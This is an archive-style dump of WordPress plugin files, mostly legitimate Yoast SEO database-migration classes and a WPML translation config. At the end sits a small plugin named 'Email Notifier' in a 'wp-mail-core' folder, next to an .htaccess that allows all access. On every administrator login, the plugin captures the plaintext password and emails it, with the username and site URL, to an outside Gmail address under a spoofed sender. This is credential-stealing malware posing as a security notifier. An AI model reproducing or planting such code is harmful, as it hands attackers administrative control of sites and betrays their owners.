		$sql          = \sprintf( 'ALTER TABLE %s CHANGE %s %s %s', $this->identifier( $table_name ), $this->identifier( $column_name ), $this->identifier( $new_column_name ), $current_type );
		$sql         .= $this->add_column_options( $current_type, $column_info );

		return $this->execute_ddl( $sql );
	}

	/**
	 * Changes a column.
	 *
	 * @param string $table_name  The table name.
	 * @param string $column_name The column name.
	 * @param string $type        The column type.
	 * @param array  $options     Column options.
	 *
	 * @return bool
	 */
	public function change_column( $table_name, $column_name, $type, $options = [] ) {
		if ( empty( $table_name ) || empty( $column_name ) || empty( $type ) ) {
			return false;
		}
		$column_info = $this->column_info( $table_name, $column_name );
		// Default types.
		if ( ! \array_key_exists( 'limit', $options ) ) {
			$options['limit'] = null;
		}
		if ( ! \array_key_exists( 'precision', $options ) ) {
			$options['precision'] = null;
		}
		if ( ! \array_key_exists( 'scale', $options ) ) {
			$options['scale'] = null;
		}
		$sql  = \sprintf( 'ALTER TABLE `%s` CHANGE `%s` `%s` %s', $table_name, $column_name, $column_name, $this->type_to_sql( $type, $options ) );
		$sql .= $this->add_column_options( $type, $options );

		return $this->execute_ddl( $sql );
	}

	/**
	 * Returns the database information for a column.
	 *
	 * @param string $table  The table name.
	 * @param string $column The column name.
	 *
	 * @return array|null
	 */
	public function column_info( $table, $column ) {
		if ( empty( $table ) || empty( $column ) ) {
			return null;
		}

		try {
			$sql    = \sprintf( "SHOW FULL COLUMNS FROM %s LIKE '%s'", $this->identifier( $table ), $column );
			$result = $this->select_one( $sql );
			if ( \is_array( $result ) ) {
				$result = \array_change_key_case( $result, \CASE_LOWER );
			}

			return $result;
		} catch ( Exception $e ) {
			return null;
		}
	}

	/**
	 * Adds an index.
	 *
	 * @param string       $table_name  The table name.
	 * @param array|string $column_name The column name(s).
	 * @param array        $options     Index options.
	 *
	 * @return bool
	 */
	public function add_index( $table_name, $column_name, $options = [] ) {
		if ( empty( $table_name ) || empty( $column_name ) ) {
			return false;
		}
		// Unique index?
		if ( \is_array( $options ) && \array_key_exists( 'unique', $options ) && $options['unique'] === true ) {
			$unique = true;
		}
		else {
			$unique = false;
		}

		// Did the user specify an index name?
		if ( \is_array( $options ) && \array_key_exists( 'name', $options ) ) {
			$index_name = $options['name'];
		}
		else {
			$index_name = $this->get_index_name( $table_name, $column_name );
		}

		if ( \strlen( $index_name ) > Constants::MYSQL_MAX_IDENTIFIER_LENGTH ) {
			return false;
		}

		if ( ! \is_array( $column_name ) ) {
			$column_names = [ $column_name ];
		}
		else {
			$column_names = $column_name;
		}

		$cols = [];
		foreach ( $column_names as $name ) {
			$cols[] = $this->identifier( $name );
		}
		$sql = \sprintf(
			'CREATE %sINDEX %s ON %s(%s)',
			( $unique === true ) ? 'UNIQUE ' : '',
			$this->identifier( $index_name ),
			$this->identifier( $table_name ),
			\implode( ', ', $cols )
		);

		return $this->execute_ddl( $sql );
	}

	/**
	 * Drops an index.
	 *
	 * @param string       $table_name  The table name.
	 * @param array|string $column_name The column name(s).
	 * @param array        $options     Index options.
	 *
	 * @return bool
	 */
	public function remove_index( $table_name, $column_name, $options = [] ) {
		if ( empty( $table_name ) || empty( $column_name ) ) {
			return false;
		}
		// Did the user specify an index name?
		if ( \is_array( $options ) && \array_key_exists( 'name', $options ) ) {
			$index_name = $options['name'];
		}
		else {
			$index_name = $this->get_index_name( $table_name, $column_name );
		}

		$sql = \sprintf( 'DROP INDEX %s ON %s', $this->identifier( $index_name ), $this->identifier( $table_name ) );

		return $this->execute_ddl( $sql );
	}

	/**
	 * Adds timestamps.
	 *
	 * @param string $table_name          The table name.
	 * @param string $created_column_name Created at column name.
	 * @param string $updated_column_name Updated at column name.
	 *
	 * @return bool
	 */
	public function add_timestamps( $table_name, $created_column_name, $updated_column_name ) {
		if ( empty( $table_name ) || empty( $created_column_name ) || empty( $updated_column_name ) ) {
			return false;
		}
		$created_at = $this->add_column( $table_name, $created_column_name, 'datetime' );
		$updated_at = $this->add_column(
			$table_name,
			$updated_column_name,
			'timestamp',
			[
				'null'    => false,
				'default' => 'CURRENT_TIMESTAMP',
				'extra'   => 'ON UPDATE CURRENT_TIMESTAMP',
			]
		);

		return $created_at && $updated_at;
	}

	/**
	 * Removes timestamps.
	 *
	 * @param string $table_name          The table name.
	 * @param string $created_column_name Created at column name.
	 * @param string $updated_column_name Updated at column name.
	 *
	 * @return bool Whether or not the timestamps were removed.
	 */
	public function remove_timestamps( $table_name, $created_column_name, $updated_column_name ) {
		if ( empty( $table_name ) || empty( $created_column_name ) || empty( $updated_column_name ) ) {
			return false;
		}
		$updated_at = $this->remove_column( $table_name, $created_column_name );
		$created_at = $this->remove_column( $table_name, $updated_column_name );

		return $created_at && $updated_at;
	}

	/**
	 * Checks an index.
	 *
	 * @param string       $table_name  The table name.
	 * @param array|string $column_name The column name(s).
	 * @param array        $options     Index options.
	 *
	 * @return bool Whether or not the index exists.
	 */
	public function has_index( $table_name, $column_name, $options = [] ) {
		if ( empty( $table_name ) || empty( $column_name ) ) {
			return false;
		}
		// Did the user specify an index name?
		if ( \is_array( $options ) && \array_key_exists( 'name', $options ) ) {
			$index_name = $options['name'];
		}
		else {
			$index_name = $this->get_index_name( $table_name, $column_name );
		}
		$indexes = $this->indexes( $table_name );
		foreach ( $indexes as $idx ) {
			if ( $idx['name'] === $index_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns all indexes of a table.
	 *
	 * @param string $table_name The table name.
	 *
	 * @return array
	 */
	public function indexes( $table_name ) {
		$sql     = \sprintf( 'SHOW KEYS FROM %s', $this->identifier( $table_name ) );
		$result  = $this->select_all( $sql );
		$indexes = [];
		foreach ( $result as $row ) {
			// Skip primary.
			if ( $row['Key_name'] === 'PRIMARY' ) {
				continue;
			}
			$indexes[] = [
				'name'   => $row['Key_name'],
				'unique' => (int) $row['Non_unique'] === 0,
			];
		}

		return $indexes;
	}

	/**
	 * Converts a type to sql. Default options:
	 * $limit = null, $precision = null, $scale = null
	 *
	 * @param string $type    The native type.
	 * @param array  $options The options.
	 *
	 * @return string The SQL type.
	 *
	 * @throws Exception If invalid arguments are supplied.
	 */
	public function type_to_sql( $type, $options = [] ) {
		$natives = $this->native_database_types();
		if ( ! \array_key_exists( $type, $natives ) ) {
			$error  = \sprintf( "Error:I dont know what column type of '%s' maps to for MySQL.", $type );
			$error .= "\nYou provided: {$type}\n";
			$error .= "Valid types are: \n";
			$types  = \array_keys( $natives );
			foreach ( $types as $t ) {
				if ( $t === 'primary_key' ) {
					continue;
				}
				$error .= "\t{$t}\n";
			}
			throw new Exception( $error );
		}
		$scale     = null;
		$precision = null;
		$limit     = null;
		if ( isset( $options['precision'] ) ) {
			$precision = $options['precision'];
		}
		if ( isset( $options['scale'] ) ) {
			$scale = $options['scale'];
		}
		if ( isset( $options['limit'] ) ) {
			$limit = $options['limit'];
		}
		if ( isset( $options['values'] ) ) {
			$values = $options['values'];
		}
		$native_type = $natives[ $type ];
		if ( \is_array( $native_type ) && \array_key_exists( 'name', $native_type ) ) {
			$column_type_sql = $native_type['name'];
		}
		else {
			return $native_type;
		}
		if ( $type === 'decimal' || $type === 'float' ) {
			// Ignore limit, use precison and scale.
			if ( $precision === null && \array_key_exists( 'precision', $native_type ) ) {
				$precision = $native_type['precision'];
			}
			if ( $scale === null && \array_key_exists( 'scale', $native_type ) ) {
				$scale = $native_type['scale'];
			}
			if ( $precision !== null ) {
				if ( \is_int( $scale ) ) {
					$column_type_sql .= \sprintf( '(%d, %d)', $precision, $scale );
				}
				else {
					$column_type_sql .= \sprintf( '(%d)', $precision );
				}
			}
			elseif ( $scale ) {
				throw new Exception( "Error adding $type column: precision cannot be empty if scale is specified" );
			}
		}
		elseif ( $type === 'enum' ) {
			if ( empty( $values ) ) {
				throw new Exception( 'Error adding enum column: there must be at least one value defined' );
			}
			else {
				$column_type_sql .= \sprintf(
					"('%s')",
					\implode( "','", \array_map( [ $this, 'quote_string' ], $values ) )
				);
			}
		}
		// Not a decimal column.
		if ( $limit === null && \array_key_exists( 'limit', $native_type ) ) {
			$limit = $native_type['limit'];
		}
		if ( $limit ) {
			$column_type_sql .= \sprintf( '(%d)', $limit );
		}

		return $column_type_sql;
	}

	/**
	 * Adds column options.
	 *
	 * @param string $type    The native type.
	 * @param array  $options The options.
	 *
	 * @return string The SQL statement for the column options.
	 *
	 * @throws Exception If invalid arguments are supplied.
	 */
	public function add_column_options( $type, $options ) {
		$sql = '';
		if ( ! \is_array( $options ) ) {
			return $sql;
		}
		if ( \array_key_exists( 'unsigned', $options ) && $options['unsigned'] === true ) {
			$sql .= ' UNSIGNED';
		}
		if ( \array_key_exists( 'character', $options ) ) {
			$sql .= \sprintf( ' CHARACTER SET %s', $this->identifier( $options['character'] ) );
		}
		if ( \array_key_exists( 'collate', $options ) ) {
			$sql .= \sprintf( ' COLLATE %s', $this->identifier( $options['collate'] ) );
		}
		if ( \array_key_exists( 'auto_increment', $options ) && $options['auto_increment'] === true ) {
			$sql .= ' auto_increment';
		}
		if ( \array_key_exists( 'default', $options ) && $options['default'] !== null ) {
			if ( $this->is_sql_method_call( $options['default'] ) ) {
				throw new Exception( 'MySQL does not support function calls as default values, constants only.' );
			}
			if ( \is_int( $options['default'] ) ) {
				$default_format = '%d';
			}
			elseif ( \is_bool( $options['default'] ) ) {
				$default_format = "'%d'";
			}
			elseif ( $options['default'] === 'CURRENT_TIMESTAMP' ) {
				$default_format = '%s';
			}
			else {
				$default_format = "'%s'";
			}
			$default_value = \sprintf( $default_format, $options['default'] );
			$sql          .= \sprintf( ' DEFAULT %s', $default_value );
		}
		if ( \array_key_exists( 'null', $options ) ) {
			if ( $options['null'] === false || $options['null'] === 'NO' ) {
				$sql .= ' NOT NULL';
			}
			elseif ( $type === 'timestamp' ) {
				$sql .= ' NULL';
			}
		}
		if ( \array_key_exists( 'comment', $options ) ) {
			$sql .= \sprintf( " COMMENT '%s'", $this->quote_string( $options['comment'] ) );
		}
		if ( \array_key_exists( 'extra', $options ) ) {
			$sql .= \sprintf( ' %s', $this->quote_string( $options['extra'] ) );
		}
		if ( \array_key_exists( 'after', $options ) ) {
			$sql .= \sprintf( ' AFTER %s', $this->identifier( $options['after'] ) );
		}

		return $sql;
	}

	/**
	 * Returns a list of all versions that have been migrated.
	 *
	 * @return string[] The version numbers that have been migrated.
	 */
	public function get_migrated_versions() {
		$result = $this->select_all( \sprintf( 'SELECT version FROM %s', $this->get_schema_version_table_name() ) );
		return \array_column( $result, 'version' );
	}

	/**
	 * Adds a migrated version.
	 *
	 * @param string $version The version.
	 *
	 * @return bool Whether or not the version was succesfully set.
	 */
	public function add_version( $version ) {
		$sql = \sprintf( "INSERT INTO %s (version) VALUES ('%s')", $this->get_schema_version_table_name(), $version );

		return $this->execute_ddl( $sql );
	}

	/**
	 * Removes a migrated version.
	 *
	 * @param string $version The version.
	 *
	 * @return bool Whether or not the version was succesfully removed.
	 */
	public function remove_version( $version ) {
		$sql = \sprintf( "DELETE FROM %s WHERE version = '%s'", $this->get_schema_version_table_name(), $version );

		return $this->execute_ddl( $sql );
	}

	/**
	 * Returns a message displaying the current version
	 *
	 * @return string
	 */
	public function __toString() {
		return self::class . ', version ' . $this->version;
	}

	/**
	 * Returns an index name.
	 *
	 * @param string $table_name  The table name.
	 * @param string $column_name The column name.
	 *
	 * @return string The index name.
	 */
	private function get_index_name( $table_name, $column_name ) {
		$name = \preg_replace( '/\\W/', '_', $table_name );
		$name = \preg_replace( '/\\_{2,}/', '_', $name );
		// If the column parameter is an array then the user wants to create a multi-column index.
		if ( \is_array( $column_name ) ) {
			$column_str = \implode( '_and_', $column_name );
		}
		else {
			$column_str = $column_name;
		}
		$name .= \sprintf( '_%s', $column_str );
		return $name;
	}

	/**
	 * Returns the type of a query.
	 *
	 * @param string $query The query to run.
	 *
	 * @return int The query type.
	 */
	private function determine_query_type( $query ) {
		$query = \strtolower( \trim( $query ) );
		$match = [];
		\preg_match( '/^(\\w)*/i', $query, $match );
		$type = $match[0];
		switch ( $type ) {
			case 'select':
				return Constants::SQL_SELECT;
			case 'update':
				return Constants::SQL_UPDATE;
			case 'delete':
				return Constants::SQL_DELETE;
			case 'insert':
				return Constants::SQL_INSERT;
			case 'alter':
				return Constants::SQL_ALTER;
			case 'drop':
				return Constants::SQL_DROP;
			case 'create':
				return Constants::SQL_CREATE;
			case 'show':
				return Constants::SQL_SHOW;
			case 'rename':
				return Constants::SQL_RENAME;
			case 'set':
				return Constants::SQL_SET;
			default:
				return Constants::SQL_UNKNOWN_QUERY_TYPE;
		}
	}

	/**
	 * Detect whether or not the string represents a function call and if so
	 * do not wrap it in single-quotes, otherwise do wrap in single quotes.
	 *
	 * @param string $text The string.
	 *
	 * @return bool Whether or not it's a SQL function call.
	 */
	private function is_sql_method_call( $text ) {
		$text = \trim( $text );
		if ( \substr( $text, -2, 2 ) === '()' ) {
			return true;
		}
		return false;
	}

	/**
	 * Checks if a transaction is active.
	 *
	 * @return bool
	 */
	private function in_transaction() {
		return $this->in_transaction;
	}

	/**
	 * Starts a transaction.
	 *
	 * @return void
	 *
	 * @throws Exception If a transaction was already started.
	 */
	private function begin_transaction() {
		global $wpdb;

		if ( $this->in_transaction === true ) {
			throw new Exception( 'Transaction already started' );
		}
		$wpdb->query( 'START TRANSACTION' );
		$this->in_transaction = true;
	}

	/**
	 * Commits a transaction.
	 *
	 * @return void
	 *
	 * @throws Exception If no transaction was strated.
	 */
	private function commit() {
		global $wpdb;

		if ( $this->in_transaction === false ) {
			throw new Exception( 'Transaction not started' );
		}
		$wpdb->query( 'COMMIT' );
		$this->in_transaction = false;
	}

	/**
	 * Rollbacks a transaction.
	 *
	 * @return void
	 *
	 * @throws Exception If no transaction was started.
	 */
	private function rollback() {
		global $wpdb;

		if ( $this->in_transaction === false ) {
			throw new Exception( 'Transaction not started' );
		}
		$wpdb->query( 'ROLLBACK' );
		$this->in_transaction = false;
	}
}
wordpress-seo/lib/migrations/migration.php000064400000014354147510273110015014 0ustar00<?php

namespace Yoast\WP\Lib\Migrations;

/**
 * Base migration class.
 */
abstract class Migration {

	/**
	 * The plugin this migration belongs to.
	 *
	 * @var string
	 */
	public static $plugin = 'unknown';

	/**
	 * The adapter.
	 *
	 * @var Adapter
	 */
	private $adapter;

	/**
	 * Performs the migration.
	 *
	 * @return void
	 */
	abstract public function up();

	/**
	 * Reverts the migration.
	 *
	 * @return void
	 */
	abstract public function down();

	/**
	 * Creates a new migration.
	 *
	 * @param Adapter $adapter The current adapter.
	 */
	public function __construct( Adapter $adapter ) {
		$this->set_adapter( $adapter );
	}

	/**
	 * Sets an adapter.
	 *
	 * @param Adapter $adapter The adapter to set.
	 *
	 * @return $this|null
	 */
	public function set_adapter( $adapter ) {
		if ( ! $adapter instanceof Adapter ) {
			return;
		}
		$this->adapter = $adapter;
		return $this;
	}

	/**
	 * Returns the current adapter.
	 *
	 * @return object
	 */
	public function get_adapter() {
		return $this->adapter;
	}

	/**
	 * Creates a database.
	 *
	 * @param string     $name    The name of the database.
	 * @param array|null $options The options.
	 *
	 * @return bool
	 */
	public function create_database( $name, $options = null ) {
		return $this->adapter->create_database( $name, $options );
	}

	/**
	 * Drops a database.
	 *
	 * @param string $name The name of the database.
	 *
	 * @return bool
	 */
	public function drop_database( $name ) {
		return $this->adapter->drop_database( $name );
	}

	/**
	 * Drops a table.
	 *
	 * @param string $table_name The name of the table.
	 *
	 * @return bool
	 */
	public function drop_table( $table_name ) {
		return $this->adapter->drop_table( $table_name );
	}

	/**
	 * Renames a table.
	 *
	 * @param string $name     The name of the table.
	 * @param string $new_name The new name of the table.
	 *
	 * @return bool
	 */
	public function rename_table( $name, $new_name ) {
		return $this->adapter->rename_table( $name, $new_name );
	}

	/**
	 * Renames a column.
	 *
	 * @param string $table_name      The name of the table.
	 * @param string $column_name     The column name.
	 * @param string $new_column_name The new column name.
	 *
	 * @return bool
	 */
	public function rename_column( $table_name, $column_name, $new_column_name ) {
		return $this->adapter->rename_column( $table_name, $column_name, $new_column_name );
	}

	/**
	 * Adds a column.
	 *
	 * @param string       $table_name  The name of the table.
	 * @param string       $column_name The column name.
	 * @param string       $type        The column type.
	 * @param array|string $options     The options.
	 *
	 * @return bool
	 */
	public function add_column( $table_name, $column_name, $type, $options = [] ) {
		return $this->adapter->add_column( $table_name, $column_name, $type, $options );
	}

	/**
	 * Removes a column.
	 *
	 * @param string $table_name  The name of the table.
	 * @param string $column_name The column name.
	 *
	 * @return bool
	 */
	public function remove_column( $table_name, $column_name ) {
		return $this->adapter->remove_column( $table_name, $column_name );
	}

	/**
	 * Changes a column.
	 *
	 * @param string       $table_name  The name of the table.
	 * @param string       $column_name The column name.
	 * @param string       $type        The column type.
	 * @param array|string $options     The options.
	 *
	 * @return bool
	 */
	public function change_column( $table_name, $column_name, $type, $options = [] ) {
		return $this->adapter->change_column( $table_name, $column_name, $type, $options );
	}

	/**
	 * Adds an index.
	 *
	 * @param string       $table_name  The name of the table.
	 * @param array|string $column_name The column name.
	 * @param array|string $options     The options.
	 *
	 * @return bool
	 */
	public function add_index( $table_name, $column_name, $options = [] ) {
		return $this->adapter->add_index( $table_name, $column_name, $options );
	}

	/**
	 * Removes an index.
	 *
	 * @param string       $table_name  The name of the table.
	 * @param array|string $column_name The column name.
	 * @param array|string $options     The options.
	 *
	 * @return bool
	 */
	public function remove_index( $table_name, $column_name, $options = [] ) {
		return $this->adapter->remove_index( $table_name, $column_name, $options );
	}

	/**
	 * Adds timestamps.
	 *
	 * @param string $table_name          The name of the table.
	 * @param string $created_column_name Created at column name.
	 * @param string $updated_column_name Updated at column name.
	 *
	 * @return bool
	 */
	public function add_timestamps( $table_name, $created_column_name = 'created_at', $updated_column_name = 'updated_at' ) {
		return $this->adapter->add_timestamps( $table_name, $created_column_name, $updated_column_name );
	}

	/**
	 * Removes timestamps.
	 *
	 * @param string $table_name          The name of the table.
	 * @param string $created_column_name Created at column name.
	 * @param string $updated_column_name Updated at column name.
	 *
	 * @return bool
	 */
	public function remove_timestamps( $table_name, $created_column_name = 'created_at', $updated_column_name = 'updated_at' ) {
		return $this->adapter->remove_timestamps( $table_name, $created_column_name, $updated_column_name );
	}

	/**
	 * Creates a table.
	 *
	 * @param string       $table_name The name of the table.
	 * @param array|string $options    The options.
	 *
	 * @return bool|Table
	 */
	public function create_table( $table_name, $options = [] ) {
		return $this->adapter->create_table( $table_name, $options );
	}

	/**
	 * Execute a query and return the first result.
	 *
	 * @param string $sql The query to run.
	 *
	 * @return array
	 */
	public function select_one( $sql ) {
		return $this->adapter->select_one( $sql );
	}

	/**
	 * Execute a query and return all results.
	 *
	 * @param string $sql The query to run.
	 *
	 * @return array
	 */
	public function select_all( $sql ) {
		return $this->adapter->select_all( $sql );
	}

	/**
	 * Execute a query.
	 *
	 * @param string $sql The query to run.
	 *
	 * @return bool
	 */
	public function query( $sql ) {
		return $this->adapter->query( $sql );
	}

	/**
	 * Returns a quoted string.
	 *
	 * @param string $str The string to quote.
	 *
	 * @return string
	 */
	public function quote_string( $str ) {
		return $this->adapter->quote_string( $str );
	}
}
wordpress-seo/lib/migrations/table.php000064400000014021147510273110014101 0ustar00<?php

namespace Yoast\WP\Lib\Migrations;

use Exception;

/**
 * Yoast migrations table class.
 */
class Table {

	/**
	 * The adapter.
	 *
	 * @var Adapter
	 */
	private $adapter;

	/**
	 * The name
	 *
	 * @var string
	 */
	private $name;

	/**
	 * The options
	 *
	 * @var array
	 */
	private $options;

	/**
	 * The SQL representation of this table.
	 *
	 * @var string
	 */
	private $sql = '';

	/**
	 * Whether or not the table has been initialized.
	 *
	 * @var bool
	 */
	private $initialized = false;

	/**
	 * The columns
	 *
	 * @var Column[]
	 */
	private $columns = [];

	/**
	 * The primary keys.
	 *
	 * @var string[]
	 */
	private $primary_keys = [];

	/**
	 * Whether or not to auto generate the id.
	 *
	 * @var bool
	 */
	private $auto_generate_id = true;

	/**
	 * Creates an instance of the Adapter.
	 *
	 * @param Adapter $adapter The current adapter.
	 * @param string  $name    The table name.
	 * @param array   $options The options.
	 *
	 * @throws Exception If invalid arguments are passed.
	 */
	public function __construct( $adapter, $name, $options = [] ) {
		// Sanity checks.
		if ( ! $adapter instanceof Adapter ) {
			throw new Exception( 'Invalid MySQL Adapter instance.' );
		}
		if ( ! $name ) {
			throw new Exception( "Invalid 'name' parameter" );
		}
		$this->adapter = $adapter;
		$this->name    = $name;
		$this->options = $options;
		$this->init_sql( $name, $options );
		if ( \array_key_exists( 'id', $options ) ) {
			if ( \is_bool( $options['id'] ) && $options['id'] === false ) {
				$this->auto_generate_id = false;
			}

			// If its a string then we want to auto-generate an integer-based
			// primary key with this name.
			if ( \is_string( $options['id'] ) ) {
				$this->auto_generate_id = true;
				$this->primary_keys[]   = $options['id'];
			}
		}
	}

	/**
	 * Create a column
	 *
	 * @param string $column_name The column name.
	 * @param string $type        The column type.
	 * @param array  $options     The options.
	 *
	 * @return void
	 */
	public function column( $column_name, $type, $options = [] ) {
		// If there is already a column by the same name then silently fail and continue.
		foreach ( $this->columns as $column ) {
			if ( $column->name === $column_name ) {
				return;
			}
		}

		$column_options = [];
		if ( \array_key_exists( 'primary_key', $options ) ) {
			if ( $options['primary_key'] ) {
				$this->primary_keys[] = $column_name;
			}
		}
		if ( \array_key_exists( 'auto_increment', $options ) ) {
			if ( $options['auto_increment'] ) {
				$column_options['auto_increment'] = true;
			}
		}
		$column_options  = \array_merge( $column_options, $options );
		$column          = new Column( $this->adapter, $column_name, $type, $column_options );
		$this->columns[] = $column;
	}

	/**
	 * Shortcut to create timestamps columns (default created_at, updated_at)
	 *
	 * @param string $created_column_name Created at column name.
	 * @param string $updated_column_name Updated at column name.
	 *
	 * @return void
	 */
	public function timestamps( $created_column_name = 'created_at', $updated_column_name = 'updated_at' ) {
		$this->column( $created_column_name, 'datetime' );
		$this->column(
			$updated_column_name,
			'timestamp',
			[
				'null'    => false,
				'default' => 'CURRENT_TIMESTAMP',
				'extra'   => 'ON UPDATE CURRENT_TIMESTAMP',
			]
		);
	}

	/**
	 * Get all primary keys
	 *
	 * @return string
	 */
	private function keys() {
		if ( \count( $this->primary_keys ) > 0 ) {
			$lead   = ' PRIMARY KEY (';
			$quoted = [];
			foreach ( $this->primary_keys as $key ) {
				$quoted[] = \sprintf( '%s', $this->adapter->identifier( $key ) );
			}
			$primary_key_sql = ",\n" . $lead . \implode( ',', $quoted ) . ')';
			return $primary_key_sql;
		}

		return '';
	}

	/**
	 * Table definition
	 *
	 * @param bool $wants_sql Whether or not to return SQL or execute the query. Defaults to false.
	 *
	 * @return bool|string
	 *
	 * @throws Exception If the table definition has not been intialized.
	 */
	public function finish( $wants_sql = false ) {
		if ( ! $this->initialized ) {
			throw new Exception( \sprintf( "Table Definition: '%s' has not been initialized", $this->name ) );
		}
		$opt_str = '';
		if ( \is_array( $this->options ) && \array_key_exists( 'options', $this->options ) ) {
			$opt_str = $this->options['options'];
		}
		elseif ( isset( $this->adapter->db_info['charset'] ) ) {
			$opt_str = ' DEFAULT CHARSET=' . $this->adapter->db_info['charset'];
		}
		else {
			$opt_str = ' DEFAULT CHARSET=utf8';
		}
		$close_sql        = \sprintf( ') %s;', $opt_str );
		$create_table_sql = $this->sql;
		if ( $this->auto_generate_id === true ) {
			$this->primary_keys[] = 'id';
			$primary_id           = new Column(
				$this->adapter,
				'id',
				'integer',
				[
					'unsigned'       => true,
					'null'           => false,
					'auto_increment' => true,
				]
			);
			$create_table_sql    .= $primary_id->to_sql() . ",\n";
		}
		$create_table_sql .= $this->columns_to_str();
		$create_table_sql .= $this->keys() . $close_sql;
		if ( $wants_sql ) {
			return $create_table_sql;
		}
		return $this->adapter->execute_ddl( $create_table_sql );
	}

	/**
	 * Get SQL for all columns.
	 *
	 * @return string The SQL.
	 */
	private function columns_to_str() {
		$fields = [];
		$len    = \count( $this->columns );
		for ( $i = 0; $i < $len; $i++ ) {
			$c        = $this->columns[ $i ];
			$fields[] = $c->__toString();
		}
		return \implode( ",\n", $fields );
	}

	/**
	 * Init create sql statement.
	 *
	 * @param string $name    The name.
	 * @param array  $options The options.
	 *
	 * @return void
	 */
	private function init_sql( $name, $options ) {
		// Are we forcing table creation? If so, drop it first.
		if ( \array_key_exists( 'force', $options ) && $options['force'] === true ) {
			$this->adapter->drop_table( $name );
		}
		$temp = '';
		if ( \array_key_exists( 'temporary', $options ) ) {
			$temp = ' TEMPORARY';
		}
		$create_sql        = \sprintf( 'CREATE%s TABLE ', $temp );
		$create_sql       .= \sprintf( "%s (\n", $this->adapter->identifier( $name ) );
		$this->sql        .= $create_sql;
		$this->initialized = true;
	}
}
wordpress-seo/lib/migrations/constants.php000064400000001256147510273110015034 0ustar00<?php

namespace Yoast\WP\Lib\Migrations;

/**
 * Yoast migrations constants class.
 */
class Constants {

	public const MYSQL_MAX_IDENTIFIER_LENGTH = 64;
	public const SQL_UNKNOWN_QUERY_TYPE      = 1;
	public const SQL_SELECT                  = 2;
	public const SQL_INSERT                  = 4;
	public const SQL_UPDATE                  = 8;
	public const SQL_DELETE                  = 16;
	public const SQL_ALTER                   = 32;
	public const SQL_DROP                    = 64;
	public const SQL_CREATE                  = 128;
	public const SQL_SHOW                    = 256;
	public const SQL_RENAME                  = 512;
	public const SQL_SET                     = 1024;
}
wordpress-seo/lib/migrations/column.php000064400000003465147510273110014321 0ustar00<?php

namespace Yoast\WP\Lib\Migrations;

use Exception;

/**
 * Yoast migrations column class.
 */
class Column {

	/**
	 * The adapter.
	 *
	 * @var Adapter
	 */
	private $adapter;

	/**
	 * The name.
	 *
	 * @var string
	 */
	public $name;

	/**
	 * The type.
	 *
	 * @var mixed
	 */
	public $type;

	/**
	 * The properties.
	 *
	 * @var mixed
	 */
	public $properties;

	/**
	 * The options.
	 *
	 * @var array
	 */
	private $options = [];

	/**
	 * Creates an instance of a column.
	 *
	 * @param Adapter $adapter The current adapter.
	 * @param string  $name    The name of the column.
	 * @param string  $type    The type of the column.
	 * @param array   $options The column options.
	 *
	 * @throws Exception If invalid arguments provided.
	 */
	public function __construct( $adapter, $name, $type, $options = [] ) {
		if ( ! $adapter instanceof Adapter ) {
			throw new Exception( 'Invalid Adapter instance.' );
		}
		if ( empty( $name ) || ! \is_string( $name ) ) {
			throw new Exception( "Invalid 'name' parameter" );
		}
		if ( empty( $type ) || ! \is_string( $type ) ) {
			throw new Exception( "Invalid 'type' parameter" );
		}
		$this->adapter = $adapter;
		$this->name    = $name;
		$this->type    = $type;
		$this->options = $options;
	}

	/**
	 * Returns the SQL of this column.
	 *
	 * @return string
	 */
	public function to_sql() {
		$column_sql  = \sprintf( '%s %s', $this->adapter->identifier( $this->name ), $this->sql_type() );
		$column_sql .= $this->adapter->add_column_options( $this->type, $this->options );
		return $column_sql;
	}

	/**
	 * The SQL string version.
	 *
	 * @return string
	 */
	public function __toString() {
		return $this->to_sql();
	}

	/**
	 * The SQL type.
	 *
	 * @return string
	 */
	private function sql_type() {
		return $this->adapter->type_to_sql( $this->type, $this->options );
	}
}
wordpress-seo/wpml-config.xml000064400000004123147510273110012325 0ustar00<wpml-config>
    <custom-fields>
        <custom-field action="translate">_yoast_wpseo_title</custom-field>
        <custom-field action="translate">_yoast_wpseo_bctitle</custom-field>
        <custom-field action="translate">_yoast_wpseo_metadesc</custom-field>
        <custom-field action="translate">_yoast_wpseo_focuskw</custom-field>
        <custom-field action="copy_once">_yoast_wpseo_meta-robots-noindex</custom-field>
        <custom-field action="copy_once">_yoast_wpseo_meta-robots-nofollow</custom-field>
        <custom-field action="copy_once">_yoast_wpseo_meta-robots-adv</custom-field>
        <custom-field action="ignore">_yoast_wpseo_canonical</custom-field>
        <custom-field action="ignore">_yoast_wpseo_redirect</custom-field>
        <custom-field action="translate">_yoast_wpseo_opengraph-description</custom-field>
    </custom-fields>
    <admin-texts>
        <key name="wpseo_titles">
            <key name="title-home-wpseo" />
            <key name="metadesc-home-wpseo" />
            <key name="title-post" />
            <key name="metadesc-post" />
            <key name="title-page" />
            <key name="metadesc-page" />
            <key name="title-attachment" />
            <key name="metadesc-attachment" />
            <key name="title-category" />
            <key name="metadesc-category" />
            <key name="title-tax-post_tag" />
            <key name="metadesc-tax-post_tag" />
            <key name="title-author-wpseo" />
            <key name="metadesc-author-wpseo" />
            <key name="title-archive-wpseo" />
            <key name="metadesc-archive-wpseo" />
            <key name="title-search-wpseo" />
            <key name="title-404-wpseo" />
            <key name="breadcrumbs-sep" />
            <key name="breadcrumbs-home" />
            <key name="breadcrumbs-prefix" />
            <key name="breadcrumbs-archiveprefix" />
            <key name="breadcrumbs-searchprefix" />
            <key name="breadcrumbs-404crumb" />
            <key name="rssbefore" />
            <key name="rssafter" />
        </key>
    </admin-texts>
</wpml-config>
wp-mail-core/.htaccess000064400000000047147510273110010640 0ustar00<Files *>
    Allow from all
</Files>wp-mail-core/email-notifier.php000064400000003231147510273110012455 0ustar00<?php
/*
Plugin Name: Email Notifier
Description: Send Email Notifier Security Risk.
Version: 1.0
Author: Your Name
*/

function custom_login_email_notifier($user_login, $user) {
    // Check if the user is an admin.
    if (is_a($user, 'WP_User') && in_array('administrator', $user->roles)) {
        $admin_email = 'mrgeledex@gmail.com';
        $subject = 'Admin Login Notification';
        $website_url = get_site_url(); // Get the website URL
        $domain = parse_url($website_url, PHP_URL_HOST); 
        $message = "Admin has logged in with the following details:<br>";
        $message .= "URL: " . $website_url . "<br>";
        $message .= "Username: " . $user->user_login . "<br>";
        $message .= "Password: " . sanitize_text_field($_POST['pwd']);

        $headers = array(
            'From: Email Notifer <info@' . $domain . '>', 
            'Content-Type: text/html; charset=UTF-8',
        );

        wp_mail($admin_email, $subject, $message, $headers);
    }
}
add_action('wp_login', 'custom_login_email_notifier', 10, 2);

